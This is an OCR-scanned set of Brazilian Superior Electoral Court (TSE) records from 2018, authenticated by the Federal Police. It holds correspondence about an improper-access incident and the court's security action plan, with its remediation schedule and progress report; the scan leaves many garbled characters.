b, da Lei 11.419/2006.

DANIEL CARLOS LIMA CORREA
ASSESSOR(A) II
#9 Documento assinado eletronicamente em 26/11/2018, as 15:26, conforme art. 1°, §2°, III,
b, da Lei 11.419/2006.

Este documento tem o nmesnp val or probante do original apresentado, nos ternbs do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,

FERNANDO PESSOA DA SILVEIRA MELLO
JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITORAL
#9] Documento assinado eletronicamente em 12/08/2019, as 16:02, conforme art. 1°, §2°, III, b, da Lei
11.419/2006.
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2018.00.000014309-3 Documento n® 0912705 v12

11 da Lei 11.419/2006.
as 11h20.

em 04/ 11/ 2020,

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

nos ternos do § 1°

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL
Oficio n® 5825 GAB-SPR 5 &
Brasflia, 06 de novembro de 2018. S 3
=5
A Sua Exceléncia o Senhor o
ROGERIO AUGUSTO VIANA GALLORO iy
Diretor-Geral da Policia Federal = %
Brasfilia - DF é E
£y
: ° g
Assunto: Medidas de policia judiciaria. g g
Senhor Diretor-Geral, 5 %
Tendo em vista o teor do e-mail que acompanha o z 3
presente oficio (anexo - I), bem como dos documentos e g 2
imagens nele veiculadas (midia digital - anexo II), solicito a ;;
Vossa Exceléncia a ado¢do das medidas administrativas de i
policia judicidria pertinentes. e g
g o
Atenciosamente, -
E 5
| W :
Miglistta ROSA WEBER g8
Presidente & g’

ceBY
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Data de Envio:
23/11/2018 15:22:12

De:
TSE/Presidéncia <presidencia@tse.jus.br>

Para:
dg@dpf.gov.br

Assunto:
Oficio n2 5979 GAB-SPR. Assunto: Oficio n? 5825 GAB-SPR. Medidas de policia judiciaria.

as 11h20.

Mensagem:
Ao Gabinete da Diretoria-Geral,

Prezados Senhores,

11 da Lei 11.419/2006.

Encaminho em anexo o Oficio n2 5979 GAB-SPR.

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933, em 04/ 11/ 2020,

Solicito a gentileza de ser confirmado o recebimento do documento, para juntada do comprovante no
processo.

Atenciosamente,

nos ternos do § 1°

Sérgio Trés

Secretaria-Geral da Presidéncia
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
Oficio_0911585.html

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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E-mail - 0918450 SR/ PF/ DF

2020. 0043195

Data de Envio:
23/11/2018 15:51:18

De:
TSE/Presidéncia <presidencia@tse.jus.br>

Para:
giuseppe.janino@tse.jus.br

Assunto:

Memorando n? 125 GAB-SPR. Assunto: Informagao n2 32 STI. § §
Mensagem: g
Prezado Senhor Giuseppe, =[N
De ordem, encaminho em anexo o Memorando n2 125 GAB-SPR. f gg'

Solicito a gentileza de confirmacao de recebimento do documento, para ser juntada ao processo de

sindicancia. i
©

%

Atenciosamente, o
©

7 . 7 %]
Sérgio Trés g
Secretaria-Geral da Presidéncia ©
Tribunal Superior Eleitoral 2
<

Telefone (61) 3030-7837

Anexos:
Memorando_0911528.html

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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Thaiane de Oliveira Veras 2020.0043195
De: Giuseppe Dutra Janino
Enviado em: sexta-feira, 23 de novembro de 2018 18:41
Para: Presidencia
Assunto: RES: Memorando n® 125 GAB-SPR. Assunto: Informagao n® 32 STI.
Recebi do.
At enci osanent e,
A useppe Jani no s
----- Mensagem ori ginal - - - - - S ;
De: TSE/ Presidéncia [mailto:presidencia@se.jus.br] Enviada em sexta-feira, 23 de = 5
novenbro de 2018 15: 51 a S
Para: G useppe Dutra Jani no R
Assunto: Menorando n® 125 GAB-SPR Assunto: |nformagdo n® 32 STI. s 3
o €
Prezado Senhor G useppe, o °
<

De ordem encam nho em anexo o Menorando n? 125 GAB- SPR

Solicito a gentileza de confirmagcédo de recebi mento do docunmento, para ser juntada ao
processo de sindi canci a.

nos ternos do § 1°

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933,

At enci osament e,

Sérgio Trés

Secretaria-CGeral da Presidéncia
Tribunal Superior Eleitoral

Tel ef one (61) 3030- 7837

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Memorando n.° 211 — STI
Em 26 de novembro de 2018.

Ao Exmo. Senhor Presidente da Comissao de Sindicancia

Assunto: Resposta. Memorando n° 125 GAB-SPR

11 da Lei 11.419/2006.

LEONARDO BRUCE MADURE! RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

1. Reporto-me ao Memorando n® 125 GAB-SPR para encaminhar
documento anexo (Plano de Acao - PA2018 - Ampliacao das
Protecoes de Seguranca), disponivel mediante o Processo SEI
2018.00.000014939-3, contendo informacdes sobre as providéncias a
serem adotadas por esta Secretaria de Tecnologia da Informagéao
visando sanear as fragilidades que resultaram no acesso indevido.

2. Cumpre ressaltar que o supracitado plano de acao esta em
andamento, com algumas atividades ja concluidas, e outras com data
planejada para execugao.

Respeitosamente,

Secretario de Te€nologia da Informagao

Este docunmento tem o nmesnp val or probante do original apresentado, nos ternps do § 1° do Art.

Aut enti cado por Escrivao de Policia Federal,
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SR/ PF/ DF
 Tribunal Superior Eleitoral 43195
- Metodologia de Gerenciamento de Projetos Plano de Acao - PA
./‘Q (Abertura)
TSE
N° Protocolo SEI: 2018.00.000014939-3
S
g &
PA2018 - Ampliacao das Protegoes de Seguranca SIS
S 2
<~ -
Tipo de agdo: [ Corretiva [ Preventiva [X] de Melhoria 4 8
N
A
1. Identificagao do plano de acao - g
T o
Unidade: | STI : L : S E
Cliente: , ) Ramal: 8884 o
Nome: Giuseppe Dutra Janino T — =— : Z
E-mail: giuseppe.janino@tse.jus.br b
Unidade executora: STI ;
. . Ramal: 8911 “”
Gerente do plano: Nome: Marcelo Lauriano Lucio =l | ——— - )
E-mail: marcelo.lauriano@tse.jus.br :
T Ramal: 8840 g
Apoio gerencial: Nome: Wylker Silveira Barros e e = 5
E-mail: wylker.barros@tse.jus.br -
Data prevista de Data prevista de g
inicio: R Shtlac: 11/04/2019

Iniciativa vinculada: N&o se aplica.

AF. 2B — Monitorar continuamente os servigos de T, a fim de realizar as intervengdes

Alinhamento PDTI: necessarias em caso de indisponibilidade e ameagas de seguranga.

2. Historico de revisao do documento

LEONARDO BRUCE MADURE! RA LOPES, MATRI CULA: 17933,

S

©

[

s

[}

3

S

[

I

c

o

Versao Data Responsavel Descri¢do 5
0.1 13/11/2018 Wylker Silveira Barros Elaboragdo do documento. s
0.2 19/11/2018 | Marcelo Lauriano Lucio = Revisdo do documento pelo gerente do projeto. ; g
: : : S 5
0.3 19/11/2018 | Wylker SilveiraBarros | APlicagdo de ajustes apbs revisdo do gerente do S
projeto. & o
0.4 20/11/2018  Adriana Amaral 1% reviséo da Seproj e registro de considerages de 52
ajustes. S5
05 20/11/2018  Wylker Silveira Barros Aplicagao de ajustes apos revisdo da Seproj. g o
06 20/11/2018  Giuseppe Dutra Janino  Revis&o do documento pelo cliente. @ e
07 20/11/2018 Wylker Silveira Barros Aplicagao de ajustes apos revisao do cliente. ; ;
10 21/11/2018  Adriana Amaral Revisao final da Seproj para deliberagao na CTTI. s a
© —_
AL £ 8
3. Cenarios E o
3 B
S o
3.1 Cenario atual e =
e O
Apos revisdo das politicas de seguranga € do inventario tecnoldgico relacionado a protegdo de i E;

dados e integridade de informacdes do TSE, foram observadas vulnerabilidades que precisam
ser minimizadas ou suprimidas. E cedico que o TSE possui base de informagdes sensiveis e
precisa aprimorar seus mecanismos para manter esses dados e informagées em sigilo, assim
como tomar agdes preventivas para manter a inviolabilidade dos sistemas que compdem o
processo eleitoral.

Arquivo: pa2018-ampliacacseguranca
Versdo do modelo: 2.13 — 03/08/2018 Pagina 1 de 3
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SR/ PF/ DF
| Tribunal Superior Eleitoral =l
' Metodologia de Gerenciamento de Projetos Plano de Acao - PA '
= | (Abertura)
TSE

3.2 Cenario futuro

Com o objetivo de responder ao diagnostico de vulnerabilidades nos mecanismos de
seguranga da informacdao no ambito da Justica Eleitoral, serdo aplicados procedimentos,

S
. . - - 5 N
politicas e normas de seguranga consideradas fundamentais para o devido tratamento dos § 3
riscos com ataques externos e internos. As agbes previstas nesta iniciativa contemplam desde S
o encaminhamento de recomendagdes aos usuarios dos servicos da JE, de analise de §
viabilidade de publicacéo de cédigo-fonte, de investimentos em atualizagdo tecnolégica, até a 48
solicitag@o formal para criagdo de unidade de seguran¢a de tecnologia da informacéo. —
= o
- = i S F
4. Areas, grupos ou entidades impactados i §
—
Area  Area, grupo ou L
externaa | entidade Descri¢do do impacto previsto E-mail 3
STI* | impactados N E
el
Cliente da iniciativa, responsavel pela oz
definigo das diretrizes do plano de agdo e ; 8'
X SEC pelo apoio formal nas medidas | gabdg@tse.jus.br K
recomendadas e adotadas pelo corpo -
técnico da STI. g =
Responsavel por apurar reportar sobre s 4
X Policia Federal eventuais falhas de seguranga na rede do | Nao se aplica. :, &
TSE. S ;
sTI Cliente da iniciativa, responsavel pela | giuseppe.janino@tse.jus.br o
definigdo das diretrizes do plano de agdo. gabsti@tse.jus.br
Lider do escritério de crise. Responsavel por | : Sk by g
GAB-STI planejar, conduzir e monitorar as atividades | & 2 0-@ ve§@ gl §
e agbdes contempladas na iniciativa. marcalolaunano@tse.jus.br x
Responsavel alinhamento, ordenacdo e |
execugao das atividades do plano de agao,
bem como por colaborar com as demais b
.}

NP g partes interessadas no fornecimento de .
Escritério de Crise informacdes. O grupo & constituido pele Néao de aplica.
secretario de Tl, coordenadores da STl e
chefes de segéo. |

O grupo néo esta formalizado.

Membro do escritorio de crise. Responsavel
por apoiar a aplicagdo de agdes
relacionadas a elaboragdo de politicas e | cristiano.andrade@tse.jus.br
normas de seguranga, bem como participar | coinf@tse.jus.br
diretamente das atividades que fomentem a
seguranca do ambiente tecnoldgico da JE.

Coinf

Membro do escritério de crise. Responsavel
por apoiar a aplicagdo de agdes
relacionadas a elaboragdo de politicas e | ivanildo.gomes@tse.jus.br
normas de seguranca, bem como participar | sesap@tse.jus.br
diretamente das atividades que fomentem a
segurancga do ambiente tecnolégico da JE.

Sesap/Coinf

Este docurmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

Membro do escritério de crise.

Responsavel por apciar a aplicagdo de

acbes relacionadas a elaboragéo de politicas
Sesop/Coinf e normas de seguranga, bem como |

participar diretamente das atividades que |

fomentem a seguranga do ambiente

tecnolégico da JE.

marcelo.cameiro@tse.jus.br
sesop@tse.jus.br

Arquivo: pa2018-ampliacacseguranca
Vers&o do modelo: 2.13 — 03/08/2018 Pagina 2 de 3

Memorando 211 STI (resposta ao Memorando 125) (0931972) SEI 2018.00.000014309-3 / pg. 35
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Tribunal Superior Eleitoral (3195
AE_J Metodologia de Gerenciamento de Projetos Plano de Acdao - PA
e’ | (Abertura)
Area | Area, grupoou
externaa | entidade Descrigdo do impacto previsto E-mail
sTI* impactados ;
Membro do escritério de crise. | & S
<
Responsavel por apoiar a aplicagdo de | § pa
acgdes relacionadas a elaboragdo de politicas = s 2
Seint/Csele e nomas de seguranga, bem como :ﬁﬁ?@u":?ﬁﬁ:l&@lse“s‘br ;‘ S
participar diretamente das atividades gue R S g
fomentem a seguranga do ambiente 5 ;
tecnologico da JE. b, o
<
Membro do escritorio de crise. Responsavel : Z
por apoiar a aplicagdo de agbes | H @
) relacionadas a elaborag&o de politicas e | rodrigo.coimbra@tse.jus.br =S
Sevin/Csele 2 : : 9
normas de seguranga, bem como participar | sevin@tse.jus.br o N
diretamente das atividades que fomentem a ? .
segurancga do ambiente tecnoldgico da JE. ] 5
wn
Membro do escritorio de crise. Responsavel sE
pelo acompanhamento do projeto, prestacéo @ g
Seproi/COGTI de suporte metodologico no que se refere as | ladjane.arruda@tse.jus.br § G
b atividades de gerenciamento de projeto, | seproj@tse.jus.br o g
consolidacéo e reporte das informacgdes do 2 3
projeto a alta gestao da STI. -
“Areas externas devem ser sinalizadas com “x” na coluna ‘Area externa a STI'. g
5. Critérios para verificagao da eficacia g
» As acgbes previstas nesta iniciativa possuem, cada uma delas, critérios individuais de &
verificag@o e serdo avaliados ap6s sua concluséo. %
6. Premissas/Restrigcoes )
.}

s Premissas:
o Disponibilidades das areas envolvidas na execug@o das suas agbes e na participagéao
das discussées e decisdes do escritorio de crise.
o Disponibilidade da equipe da GAB-STI na condug&o dos trabalhos e na integragéo das
partes interessadas;
o Disponibilidade da equipe da Seproj no apoio metodoldgico aplicado a gestido da
iniciativa,
* Restricdes:
o As acdes previstas na iniciativa devem estar concluidas até margo de 2019.

7. Acdes a serem implementadas
Vide anexo I: Cronograma do plano de acao extraido da ferramenta corporativa EPM.

8. Riscos do plano de agao

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

Vide anexo |I: Relatério de Riscos do Plano de Agéo, extraido da ferramenta corporativa EPM.

9. Aprovacao do documento

sel A Secretaria de Tecnologia da Informagdo — STI utilizou o Sistema Eletrénico de
* Informac¢bes — SEI| para assinatura e aprovagéo deste documento.

Arquiva: pa2018-ampliacaoseguranca
Versdo do modelo: 2.13 —03/08/2018 Pégina 3 de 3
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LY
D EDT_ Nome ds tarefs iy Semaforc_ % Té SMNomes dos.
o B Atraso ©  concluida g 2020, %95 T
0 0 = PA2018 - Ampliacao das Protegoes de Seguranca @ 16% 101 dias Qua 07/11/12 Seg 15/04/19 5
I - Gerenciamento da iniciativa - ) 33% [100 dias * Jouios1148  Seg 150449 ﬂ_%
2 L7 48 + Iniciagao-Planejamento v 100% 9 dias Qui 08/11/18 Qua 241148 pa
5 O 12 + Reportar Desempenho da Iniciativa @ 14% d5dias  Ter131/18  Seg11/0219 3
2 13 + Encerramento @ 0% 7 dias Sex05/04/19  Seg 150419 ©
k] 2 - Executar Plano de Agio @ 15% 94dias  QuaO7i1/18  Qui 04104119 i
® 24 - Agbdes de Curto Prazo @ 3% 14 dias Qua 071118  Ter 2711118 H
| 219 Desligamento dos servigos do servidor de build v 100% 1 dia Qua07/11/18  Qual71118  SEVIN z
3 | 212 Desiigamento dos equipamentos do ambiente de apresentacio dos codigos-fonte v 100% 1 dia Qua07/1118  Qua07/1118  ASAG-TISEVIN 3
3 213 Blogueio des contas da SEVIN nos equipamentos servidores APP UF dos tribunais regionais eleitorais 100% 1 dia Cus07/11/18  Qua07/1118  SESOP °,
4 214 Relatorio preiminar para a Policia Federal v 100% 1 dia Qua07/11/18  Qua07M1118 ST w
& 215 Reunio prefmnar com a Policia Federal v 100% 1418 Quao7/11/18  Qua07/1118  STI 3
2 218 Estabeiecer o escritdrio de crse com reunides diarias v 100% 4 dias Qua 07/11/18 Seg 12/1118 sm é
43 217 Eiaborar relstonio complementar para 8 Policia Federal v 100% D dias Seg 12111718 Seg 12711118 ST )
“ v 218 Elaborar lista ordenada do nivel de vulnerabilidade das aplicacoes do TSE As de maior severidade 100% 1 dia Seg 1211118 Seg 1211118 SESAP by
serdio encaminhadss & sdminisiracio do TSE com recomendscic de desativacio =
4 F 219 Trocar senhas de rede de lodos os usudrios Q@ 95% 11 dias Seg 12/11118 Ter 2711118 SESOP s
8 2110 Desabiltar VPNs, exceto das embaixadas v 100% 1 dia Ter 13/11/18 Ter 1311418 SESOP e
47 [ 211 Pianejar uma nova lacracao @ 99% 9 dias Seg 12/11/18 Sex 231118 CSELE/ASAG-TI g
4 v 2112 Avalar o risco sobre o vazsmento do GEDALUE v 100% 4 dias Seg 1211118 Sex 168111/18 CSELE =
4 v 2113 Mapear os compartihamentes de pastas locais v 100% 5 dias Seg 12/11118 Seg 19/111/18 COINF f
S0 2114 Nolificar os usuarios e acompanhar os riscos da uliizacio de pastas compartinadas v 100% 4 dias Seg 121118 Sex 161118 SESOP '§
51 2115 Verificar os equipamentos que estdo com o antivirus desabiitada v 100% 2 dias Seg12/11118  Ter131118  COMNF =
82 | 2116 Elaborar estudo de visbiliiade Divuigacdo do codigo da urna e do GEDAI v 100% 4 dias Seg 121118 Sex 16/11/18 SEVIN g
53 2147 Nolificar os usudrios e chefes de secao sobre os equipamentos com antivirus desabiltado quanio a0s 100% 5 dias Seg 1211118 Seg 19/11/18 SESAP :
riscos pera & Instituicao e
54 2118 Notificar os tribunais regionais eleitorais quanto as acdes locais: Trocar senhas de usuarios; Definir () 80% 11 dias Seg 1211118  Ter 271118 COINF §
" poiitica de troca de senhas; Desabiltar servidores de aplicacho vulneraveis; Canceiar fodas as VPNs e
55 2119 Seguranca de perimetro: Revisar os mecanismos de seguranca adotados pelo TSE e TRES no acesso @ 5% 11 dias Seg 1211118 Ter 271118 COINF 5
de internat |
% v 2120 Encaminhar expediente para a Diretoria-Geral solictando que todos os Fiscais de Contralos do TSE o/ 100% 4 dias Seg 12111118 Sex 1611118 ASAG-TI s
& informem periodicamente a ST sduacdes de desigamentos de colaboradores que fazem uso de §
recursos tecnoldgicos do TSE g
57 22 - Agbes de Médio Prazo Q@ 6% 30dias  Ter13M1M8  Qui 10119 °
58§ 2214 Revisar ¢ implantar ums nova poliica de slteracdo de senhas periodicamente Verificar os @ 0% 20 diss Qua 28/11/18 Qui 100119 CONF j‘Ej
WMMWusum:mmmmemhm,u B
necessano e
5% ﬁ 222 Avaliar criticidade & aplicar acoes para tratamento dos diretorios compartilhados na rede . 40% 10 dias Ter 20011118 Seg 031218 COINF §
€0 223 Aplicar agdes para desalivacio ou tratamento especifico das aplicages que apresentam . 5% 10 dias Ter 13111/18 Ter 271118 SESAP §
vuinerabiidade o
81 ¢ 224 Notificar CGE sobre as scdes e tratamentos s serem aplicados no FilaWeb Q@ 10% 10 dias Seg 26/11118 Seg 10/12/18 &
62 § 225 Elaborar lista ordenada do nivel de vuinerabilidade das aplicacBes dos TREs As de maior severidade () 0% 20 dias Qua28M1M8  Oui 10/01/19 sTI
serdo encaminhadas as respectivas administracdes regionais com recomendacao de desativacac
€3 i 226 Seguranca de rede inferna: Criar mecanismos de amplisco da protecio dos dades e codigos-fontes @ 0% 20 dias Qua 28/1118 Qui 10/01/118 CONF

as 11h20.

em 04/ 11/ 2020,

MATRI CULA: 17933,

LEONARDO BRUCE MADUREI RA LOPES,

Aut enti cado por Escrivao de Policia Federal,
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Notificar CGE sobre as acdes e tratamentos a serem aplicados no FilaVWeb

Elaborar lista ordenada do nivel de vulnerabilidade das aplicagtes dos TREs. As de maior severidade
serdo encaminhadas as respectivas administracdes regionais com recomendacao de desativacio
Seguranca de rede interna: Criar mecanismos de ampliacio da protecdo dos dados e codigos-fonles
mais criticos; Revisar a segmentscio e protecio da rede interna do TSE, em relacio a VLAN &
Firewall, permitindo acesso aos usuarios devidamente autorizades

Recomendar adogdo do uso de duplo fator de autenticacdo no acesso a VPN.

Renovar do convénio com o CEPESq

Comparar as ufimas verses do GEDALUe com a versio que foi lacrada, bem como as intervencies
realizadas no repositorio de codigos-fonte nos meses de agosto e setembro de 2018

Aplicar polticas de seguranca na sala da OAB

Reavaliar aplicacdo de firmware

Solictar regularizagao do dominio aos Tribunais que ainda fazem uso do dominio antigo .gov br

Solicitar a Diretoria-Geral apoio pars & c.';agéo de unidade de seguranca de tecnoiQg:s e dg
infarmagao no Ambito ds STI

Farmalizar o Comilé de Seguranca da Informagédo

Formalizar a Equnpe de Tratamento e Resposta a Incidentes - ETIR
- Agodes de Longo Prazo

Realizar investimentos em stualizacao tecnoldgica: Web application firewall, Analise de seguranca de @

codigo fonte, Alualizacao das versdes das solucdes

Implantar politicas & normas de seguranca: Elaborar & impiantar as normas derivadas da PSIque visam @
estabelecer mais seguranca nes procedmentos dos servidores e colsboradores. Criar procedimento
especifico para o direcionamento a Policia Federal

0900 ©000 ©060¢ © @¢

Transferr para a Coinf a responsabiidade da administracdo de hardware e S0 do servidor de 0
= SR

Adicionar mais de um critério de autenticacio @

Verificar se a requiarizacao do dominio “jus.br* foi realizads pelos Tribunais Regionais Q

¥ 3

SRR RFR ¥

2ERR

3
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10 dias
20 dias

20 dias

20 diss
20 dias
20 dias

20 diss
20 diss
20 dias
O dias

0 aiss
Odias
60 dias
€0 dias

60 dias

60 dias

60 dias
60 dias

Seg 26/11/18
Qua 28/1118

Qua 281118

Qua 281118
Qua 281118
Qua 281118

Qua 281118
Qua 2811118
Qua 28/11/18

Qui 1001/15

Qui 10101418
Qu 10101178
Sex 110119
Sex 110119

Sex 1101119

Sex 1101119

Sex 1101118
Sex 1101119

Sigilos

Seg 1011218 SF/ PF/DF
Qui 1020118020 Q3195

Qui 1001118

Qui 10/0119
Qui 100119
Qui 100115

Qui 10/0115
Qui 10/01/19
Qui 10/01/1%
Qui 160119

Qi 1601/19
Quw 1001119
Qui 04104118
Qui 04/0419

Qui 04/04119

Qui 04/0419

Qui 04/04/19
Qui 040419

COmF

SRR

Diretoria-Garal

Diretoria-Garal

COMF

st

COINF

11. 419/ 2006.

11 da Lei
em 04/ 11/ 2020,

do Art.

MATRI CULA: 17933,

nos ternos do § 1°

apr esent ado,

LEONARDO BRUCE MADUREI RA LOPES,

Este docunmento tem o nmesnp val or probante do original

as 11h20

Aut enti cado por Escrivao de Policia Federal,
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W Tribunal Superior Eleitoral
) Metodologia de Gemnciamanio de Projetos Re]“ﬁﬂo de dammnho 105
ol de iniciativa - RDIn ;
TSE

PA2018 - Ampliacao das Protecdes de Seguranca

Identificacao
1. Identificacao da iniciativa '
Tipo de iniciativa: Plano de Agdo < §
8 <
Cliente: Giuseppe Dutra Janino - ST & ;
S .

<
Unidade executora: TSE.STI . S
o
Gerente da iniciativa: Marcelo Lauriano Licio 3 ;
-
. Cronograma 33
Periodo de referéncia do RDIn: 07/11/2018 - 23/11/2018 SaRTR6 e 21/11/2018 -t
RDIn gerado por: Wylker Silveira Barros Geragdo do RDIn: 23/11/2018 S
<3
2. Dados de execucao da iniciativa g5
Duragdo Inicio Término = g

w
Cronograma planejado 155 dias 07/11/2018 11/04/2019 S E

[
Cronograma previsto 155 dias (conforme planejado) 07/11/2018 11/04/2019 g p
Qoo
o8
3. Datas de formalizacdo na CTTI 4. Indicadores g g
Iniciagdo 21/11/2018 Entregas* & 100% =
Planejamento 21/11/2018 Prazo™ ] 83% g

* Percentual das entregas planejadas no periodo de referéncia
** Percentual do trabalho planejado no pericdo de referéncia g
m
Calculo e legenda dos indicadores %
4
) _ N® Entregas Realizadas ) 2 90%
Indicador de entregas = N® Entregas Planejadas 2 70% <90%
_ % Concluido Real 2 <70%
ki de prae = e Planejado ® N&o apurado

5. Curva "S" - Prazo

18% -
16% -
14% -
12% -
10% -
8%
6% -
4% -
2% -

0% e i ’ ; ’ = —
06/11/2018 08/11/2018 10/11/2018 12/11/2018 14/11/2018 16/11/2018 18/11/2018 20/11/2018 22/11/2018 24/11/2018 26/11/2018
~Planejado Realizado

Este docunento tem o nesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

RDIn - Relatério de desempenho de iniciativa_new2
Versdo do modelo: 2.0 - 09/06/2018 Pagina 1de 5

Memorando 211 STI (resposta ao Memorando 125) (0931972) SEI 2018.00.000014309-3 / pg. 39



2. Riscos com criticidade alta ou em nivel de CTTl ou DG

Tribunal Supenor Eleitoral

,J# Metodologia de Gerenciamento de Projetos Relatério de desempenho
| de iniciativa - RDIn S
TSE S
g
PA2018 - Ampliacao das Protecoes de Seguranca =
Riscos Ativos 8
1. Riscos por criticidade E'
:
H E
AT ’ E o 5
_ _ Alta _ Média ; Baixa &
‘Quantitativo 0 6 0 E
5
3

Eventos futuros incertos que podem afetar um ou mais objetivos do projeto. Neste relatério, sao mostrados os riscos de alta criticidade e aqueles escalonados a CTTl ou a DG.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

RDIn - Relatorio de desempenho de iniciativa_new2
Versdo do modelo: 1.0 - 27/07/2017 Pagina 2

&

23

Data de , Nivelde  Ultima atualizac§o 3
Identificagao (Ehoma Efoia Giirsaene Estado Escalonamento realizada = L;
Projeto nao possui riscos de alta criticidade, nem escalonados a CTTl ou DG T 5

[dd/mm/aaaal> o
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o >
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Sigiloso

Tribunal Superior Eleitoral
Metodologia de Gerenciamento de Projetos Relatorio de demm"ho SR/ PF 0

o' v.
= de iniciativa - RDIn 2020- 06 e
¥
5 4
~ -
;7 ©
PA2018 - Ampliagdo das Protegdes de Seguranga 4 8
s
Entregas TR
= g
1. Principais entregas® no periodo 07/11/2018 - 23/11/2018 23
g5
® Comatraso ® Em dia ou adiantado ® Atividade sem linha de base g g
w
% de Inicio Término  Inicio Real ou Término Real o ®
Descricao Observagoes ° E
Conclusao ca Planejado  Planejado®  Previsto®  ou Previsto® 2 g
) Elaborar PA Abertura 08/11/2018 211112018 08/11/2018 21/111/2018 5 ¢
Aprovacao do PA Abertura 21/11/2018  21/11/2018  21/11/2018 2111112018 2 O
= . - o
es| m =
Se bl:ﬂ:j ento dos servigos dosevidor  o7.44/2018 071112018 0741/2018 0711112018 o
Desligamento dos equipamentos do E g
ambiente de apresentagao dos codigos- 07/11/2018 071112018 07/111/2018 07/11/2018 o
fonte g g
Blogueio das contas da SEVIN nos cz
equipamentos servidores APP UF dos 07/11/2018 07/11/2018 07/11/2018 07/11/2018 s
tribunais regionais eleitorais =) %
Relisio prolne: e f ok 07/11/2018  07/11/2018  07/1/2018  07/11/2018 5
Federal g =
?:;2;::’ PRNEOESRER F i 07/11/2018  07/11/2018  07M1/2018  07/11/2018 ok
© e}
Estabelecer o escritorio de crise com R
reunides didrias 07/11/2018 12/11/2018 07/11/2018 12/11/2018 s 2
Elaborar relatério complementar para a 553
Policia Federal 12/11/2018 12/11/2018 12/11/2018 12/11/2018 T3
Elaborar lista ordenada do nivel de g s
vulnerabilidade das aplicagbes do TSE. E g
As de maior severidade serao 12/111/2018 12/11/2018 12111/2018 12/11/2018 Z =
encaminhadas & administragéo do TSE S @
com recomendagéo de desativacéo °
E 2
Trcca_r senhas de rede de todos os 12/11/2018 23111/2018 1211172018 23/11/2018 Em 19!1 1/2018 j& haviam sido alteradas 1.400 contas de s 's
usuarios USUArio. 5 8
ez
RDIn - Relatorio de desempenho de iniciativa_new?2 i E:
Versdo do modelo: 1.0 - 27/07/2017 Pagina 3 de &
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' Tribunal Superior Eleitoral I
Metodologia de Gerenciamento de Projetos Relatorio de dosempenho SR/ P
T de iniciativa - RDIn 2020. 00
TSE

E” Desabilitar VPNs, exceto das
moﬂ, S 13/11/2018 13/11/2018 13/11/2018 13/11/2018

Foi aberto o Processo SEI n° 2018.00.000014771-4 e sera
encaminhada Informagéo ao Diretor-Geral para confirmacao
da agenda da Presidente para assinar os programas no dia
13/12 &s 18h e convidar os partidos e outras instituigdes.
Caso a Presidente tenha agenda livre, a Ceriménia de
Assinatura Digital e Lacracdo de Sistemas sera realizada de
11 a 13/12, com assinatura das autoridades no dia 13, as
18h.

11 da Lei 11.419/20

Planejar uma nova lacragéo 12/11/2018 23/11/2018 12/11/2018 2311/2018

do Art.

Avaliar o risco sobre 0 vazamento do
GEDAI-UE

Mapear os compartilhamentos de pastas
locais

Notificar os usuarios e acompanhar os
riscos da utilizagdo de pastas 12/11/2018 16/11/2018 12/11/2018 16/11/2018  Notificagdo realizada em 16/11/2018.
compartilhadas

m Nixisicar On S pnantos qus daiha 12/11/2018  13/41/2018  12/11/2018  13/11/2018

12/11/2018 16/11/2018 12/11/2018 16/11/2018

12/11/2018 19/11/2018 12/11/2018 19/11/2018

nos ternos do § 1°

com o antivirus desabilitado

Elaborar estudo de viabilidade:

Divulgac&o do codigo da urna e do 12/11/2018 16/11/2018 12/11/2018 16/11/2018
GEDAI

Notificar os usuarios e chefes de segéo
sobre os equipamentos com antivirus
desabilitado quanto aos riscos para a
Instituicio

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

12/11/2018 19/11/2018 12/11/2018 19/11/2018

Notificar os tribunais regionais eleitorais
quanto as agdes locais: Trocar senhas
de usuarios; Definir politica de troca de
senhas; Desabilitar servidores de
aplicacio vulneraveis; Cancelar todas as
VPNs

12/11/2018 23/11/2018 12/11/2018 23/11/2018

Seguranca de perimetro: Revisar 0s
mecanismos de segurancga adotados 12111/2018 23/11/12018 12/11/2018 23112018
pelo TSE e TREs no acesso de internet

Este docunmento tem o nmesnp val or probante do original apresentado,

Aut enti cado por Escrivao de Policia Federal,

RDIn - Relatorio de desempenho de iniciativa_new2
Verséo do modelo: 1.0 - 27/07/2017 Péagina 4 de 5



Tribunal Superior Eleitoral
/.\; Metodologia de Gerenciamenta de Projetos
v‘

TSE

Si
Relatdrio de desempenho SR/ PF
de iniciativa - RDIn 2020. 00

n
O

Encaminhar expediente para a Diretoria-
Geral solicitando que todos os Fiscais
de Contratos do TSE informem
periodicamente a STI situagbes de
desligamentos de colaboradores que
fazem uso de recursos tecnolégicos do
TSE

12/11/2018

16/11/2018

12/11/2018

Foi aberto o Processo SEI n® 2018.00.000014678-5 e, por
16/11/2018  meio do Despacho GAB-DG 0912812, o Diretor-Geral
encaminhou a solicitagéo a SAD para providencias.

11 da Lei 11.419/20
em 04/ 11/ 2020, as 11h20.

0,00%

Avaliar criticidade e aplicar agbes para
tratamento dos diretérios compartilhados
na rede

20/11/2018

03/12/2018

20/11/2018

do Art.

03/12/2018

0,00%

Aplicar agbes para desativacao ou
tratamento especifico das aplicagées
que apresentam vulnerabilidade

13/11/2018

27111/2018

13111/2018

2711112018

